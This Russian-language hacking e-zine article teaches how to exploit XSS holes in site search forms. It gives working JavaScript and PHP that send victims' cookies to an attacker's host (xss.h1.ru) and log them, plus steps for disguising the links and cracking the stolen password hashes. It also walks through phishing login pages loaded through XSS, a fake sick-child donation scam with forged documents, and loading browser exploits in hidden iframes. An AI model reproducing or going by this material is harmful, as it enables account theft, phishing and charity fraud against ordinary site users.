Content:
General
Security/hack
Programming
FAQ/Humor
 
 
наша рассылка
Твой E-mail:
Submit
 
 
  XSS уязвимость. Альтернативные методы использования.
 
 
  XSS уязвимость. Альтернативные методы использования.

Целью данной статьи будет ознакомление читателей с многочисленными методами использования часто встречаемой в наше время XSS уязвимости. Свою статью я постараюсь изложить максимально понятным языком. Логически я разделил её на две части: 1. XSS Уязвимость (отобрал наиболее качественную и интересную информацию) 2. Альтернативные методы использования (новая информация, где я собрал свои примеры и мысли) Ну что ж, поехали! :)

1. [Введение]

Что же такое XSS уязвимость? Аббревиатура XSS расшифровывается как Cross Site Scripting (рус. межсайтовый скриптинг) Однако общепринято называть именно XSS, дабы не спутать с уже ране введёнными Каскадными Стилями Таблиц (eng. Cascading Style Sheets) которые применяются дизайнерами для оформления веб-страниц. А так как Cross – это «крест», то первую букву в аббревиатуре “межсайтового скриптинга” заменили на «X»

В первую очередь XSS – это уязвимость на сервере, которая позволяет внедрить произвольный код в php страницу путём передачи его в качестве значения нефильтруемой переменной. Попросту говоря, определённой php странице мы можем передать html теги <> и прочие нефильтруемые символы. Значит, передавая определённые переменные в адресной строке браузера php скрипту, мы будем наблюдать у себя в браузере гинерируемую html-страницу.

2. [Проверка на уязвимость]

Итак, долой скучную теорию приступаем к практическим действиям :)

Для начала - это поиск подобных сайтов с нужной нам уязвимостью. Смею заверить вас поиск не составит особого труда и не займёт много времени :) Основной источник уязвимости это модуль поиска по сайту. Обычно выглядит так:

http://site.by/index.php?sstring=           или так:          www.site.by/?sstring=

В нашем случаи это переменная sstring. Однако она может называться по-другому, к примеру, find или search. Первые наши действия:

1. Открываем интересующий сайт и ищем поиск на сайте.

2. Вводим следующий код в строку поиска (в нашем случаи это будет тег <img> подгружающий удалённое изображение, логотип Яндекса) <img+src=http://ya.ru/logo.gif> и жмём “Поиск”

3. Должен подгузиться логотип  (Если же мы этого не наблюдаем, а строка поиска выводит код без тегов, то нам не повезло…)

Для поиска остальных интересующих сайтов поможет родной Гугль :) Набираем к примеру allinurl:  ?search= в поисковике и проверяем сайты на наличие бага (фильтрацию тегов) уже известным способом.

 

            3. [XSS Атака]

            Собственно сейчас мы приступим к использованию уязвимости. Как принято полагать основной метод использования это кража Cookies (текстовый файл, хранящий пароль и id или сессию пользователя на сайте/форуме) Я не стал изобретать велосипед, а в качестве основы взял статью Jenizix`a (http://web-hack.ru)

1. Берём любой бесплатный хостинг с поддержкой PHP (прим. http://h1.ru или http://jino-net.ru ) и регистрируемся (прим. http://xss.h1.ru )

2. Создаём xss.js со следующим содержанием:

 

document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://xss.h1.ru/xss.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');

 

3. Далее создаём xss.php :

 

<?
$file = fopen("cookies","a");
fputs($file,"[".date("d.m.y H:i")."]".$QUERY_STRING."\r\n");
fclose($file);
?>

 

4. Теперь нужно закинуть оба файла в веб-директорию нашего сайта. Они должны быть доступны по адресу http://xss.h1.ru/xss.js и http://xss.h1.ru/xss.php

5. Ищем с XSS уязвимостью. К примеру сама уязвимость будет тут http://site.by/index.php?sstring=[xss]

6. Пошлем скрипту index.php запрос ?sstring=<script src=http://xss.h1.ru/xss.js></script>

7. Открываем http://xss.h1.ru/cookies и видим наши куки с этого сайта/форума

8. Для того, что бы получить куки (если они используются на этом сайте/форуме) админа или другого пользователя нам нужно сделать так, чтобы пользователь открыл следующую ссылку: http://site.by/index.php?sstring=<script src=http://xss.h1.ru/xss.js></script>

9. Угнанные куки можно заменить на свои, или же пробрутить хэш пароля (с помощью PasswordsPro) и получить полный доступ к аккаунту :)

10. Однако такую ссылку  в открытую ссылку кидать не стоит(слишком подозрительно выглядит, не каждый клюнет :)) Jenizix описывал, как написать php-скрипт который будет кодировать нашу строку <script src=http://xss.h1.ru/xss.js></script> в URL и обратно. Я же использую веб-тулзу или ICQ-бота Sbot (uin: 64464644 или 757555) с помощью команд !eurl и !durl

В итоге наша ссылку будет иметь такой вид http://site.by/index.php?sstring= %3Cscript%20src%3Dhttp%3A%2F%2Fxss.h1.ru%2Fxss.js%3E%3C%2Fscript%3E

            4. [Альтернативные методы использования]

            Вот мы и подошли ко второй части моей статьи. Сейчас я расскажу, какие ещё есть способы использования XSS. Один из них это Фишинг (англ. phishing, от pass — пароль и fishing — выуживание) — это вид интернет-мошенничества, цель которого — получить идентификационные данные пользователя. Организаторы фишинг атак создают копии сайтов популярных брендов и от их лица рассылают по электронной почте ссылки на страницы поддельных сайтов, с целью выудить у жертвы пароль или номер кредитки. В настоящий момент это теряет актуальность (пользователь менее доверчивый и всё более просвещённый). Мы же постараемся максимально замаскировать фишинг с помощью XSS уязвимости на сайте. Допустим мы нашли XSS на условном сайте. К примеру, это http://shop.by/index.php?search=[xss] Далее мы зарегистрируемся на любом хостинг с поддержкой PHP (и желательно с MySQL). Нам следует изучить страницу логина на сайт для пользователей, написать точную копию (по виду) на php и залить на наш хостинг, к примеру login.php. Эта страница при вводе логина и пароля должна записать данные в условный файл на нашем хосте, после желательно сделать переадресацию на настоящую страницу логина, чтобы пользователь не заподозрил неладное :) Теперь нам нужно каким-то образом разослать и убедить пользователей сайта залогинится по этой ссылке :) Один из вариантов (если на сайте есть рассылка от пользователя к пользователям личных сообщений) это массовая рассылка писем в личку юзерам под предлогом мол “ваш аккаунт мог быть использован 3им лицом, и для безопасности залогинитесь через безопасный вход по следующей ссылке”, или что-нить в этом роде :) главное убедить) А лучше зарегистрировать себе пользователя с ником Admin, Support и т.п. Как это сделать? :) Да очень просто) при регистрации Admin вместо английской “A” вводим русскую, в Support к примеру “о” русское, в общем работаем с фантазией) Второй вариант рассылки - на мыло, к сожаления этот способ теряёт актуальность, даже если отослать от адреса support@shop.by =) В итоге наша ссылка будет иметь следующий вид: http://shop.by/index.php?search=<iframe%20src=http://xss.h1.ru/login.php%20width=100%%20height=1000> , выделенные значения изменяйте под структуру сайта. Далее нам стоит закодировать наш тег <iframe в URL для большей маскировки :)

Собственно от фишинга переходим к другому методу. По своему роду похожему но требует большей хитрости и мастерства :) Назовём его один из способов интернет-мошенничества. Суть заключается в том, что бы максимально использовать соц. инженерию. Мой пример будет заключаться в фальшивом объявлении, в котором больной девочке срочно нужны деньги на лечение. Для этого нам понадобится подходящий по тематике сайт с XSS (желательно популярный), любой хостинг, открытый счёт в банке с услугой интернет-банкинг (возможность доступа к счёту через интернет), а так же терпение и упорство :) Ищем в сети грамотно составленное объявление, изменяем данные (банк, город, номер счёта, получатель, контактный телефон) и подгоняем под дизайн сайта. Так же можно указать кошельки web-money и т.п. Для достоверности сверьте с другими объявлениями, чтобы различия были минимальны, так же можно найти скан документов с диагнозом и цене лечения (никто их особо не смотрит, так для формальности :)) Далее нам следует найти пару фотографий девочки (желательно подтверждающие её болезнь) С помощью PhotoShop можно добавить на фотографии логотип известного телеканала, это так же может сыграть немалую роль. В тексте необходимо как можно больше давить на то, что времени с каждым днём всё меньше и меньше, так же можно сделать копию страницы на английском языке. Ещё немаловажным фактом будет указать, что те, кто перечислит деньги в помощь будут каким-то образом разрекламированы (в телепередаче, или на сайте телеканала). Далее регистрируемся на любом бесплатно хосте желательно с коротким доменным именем (прим. olya.h1.ru). Заливаем нашу страницу с именем index.html Затем добавляем в уязвимый сайт XSS (прим. http://help-child.by/?find=<iframe%20src=http://olya.h1.ru%20width=100%%20height=1000>) , выделенные значения меняем под структуру сайта

А как же другие люди узнают об это ссылке? – реклама двигатель прогресса :) Тут могу посоветовать два способа. Первый это рассылка состоятельным и заинтересованным людям по ICQ или e-mail. Второй это рассылка на мыло и вывеска на форумах малых и средних фирм (за 2 часа я насобирал 243 мыла и около 80 форумов и гостевых). Им удобна лишняя реклама за небольшие вклады. Так же нужно учесть маскировку ссылки, чтобы ссылка не была слишком длинной (при переводе в URL один символ заменяется на три) Главное “спрятать” все теги. Вот один из наглядных примеров объявления в XSS: 

Собственно всё :) Конечно не обещаю больших денег, если они вообще будут =) но попытать счастье можно :)

Ещё один способ - это использование уязвимости в браузере пользователя, при загрузке html, php страницы в которую внедрён эксплоит (exploit) исполнятся определённый код в системе (прим. получение доступа к определенным файлам). В моём примере будет безобидный эксплоит загружающий калькулятор (calc.exe). Создадим текстовый файл запишем туда код эксплоита и сохраним файл в формате .html Далее зальём его на любой бесплатный хостинг под именем index.html Берём сайт с XSS дописываем строку <iframe%20src=http://exploit.h1.ru%20width=1%%20height=1> , это невидимый фрейм загружающий эксплоит. Я выбрал именно этот тег т.к. при использовании window.location.href пользователь может прекратить переадресацию Так же незабываем маскировать ссылку… ;) Наш эксплоит безобидный можно испытать на себе :)  К сожалению огромный минус в том, что данный метод палится антивирусом :(

5. [В заключении…]

            Вот мы и подошли к концовке моей статьи… Вообще по этой теме можно говорить вечно =) ведь использование XSS не ограничены определёнными рамками, т.к  это все те возможности PHP, ASP, HTML, CGI и конечно же JavaScript.

Непонятно почему официальный Microsoft “окрестил” XSS уязвимость как “Низкий уровень опасности” C одной стороны понятно – XSS не может принести вреда серверу, но всё же администрация сайта должна заботиться не только о собственной безопасности, а также и о безопасности их пользователей. Ведь, как известно основные проблемы безопасности возникают при неосведомлённости пользователей, а так же при неграмотном написании ПО. К сожалению (а может и к счастью :)) только спустя огромное время гиганты ПО начинают дополнять браузеры анти-фишинговой системой…

Как мы видим, есть много примеров использования XSS. Их возможности очень велики, начиная от приколов на JavaScript (прим. открытие бесконечного числа окон:)) и заканчивая уязвимостями в популярных браузерах (выполняющие произвольный код в системе).

P.S. Автор не несёт ответственность за творческое осмысление данной статьи читателями...

Спасибо за внимание… :)

.:: Special for Open Team E-zine ::.

Добавления: [GuriK]
Public icq: 419-157

 
Интро | О проекте | Услуги | Статьи | Обратная связь
Freelance web designer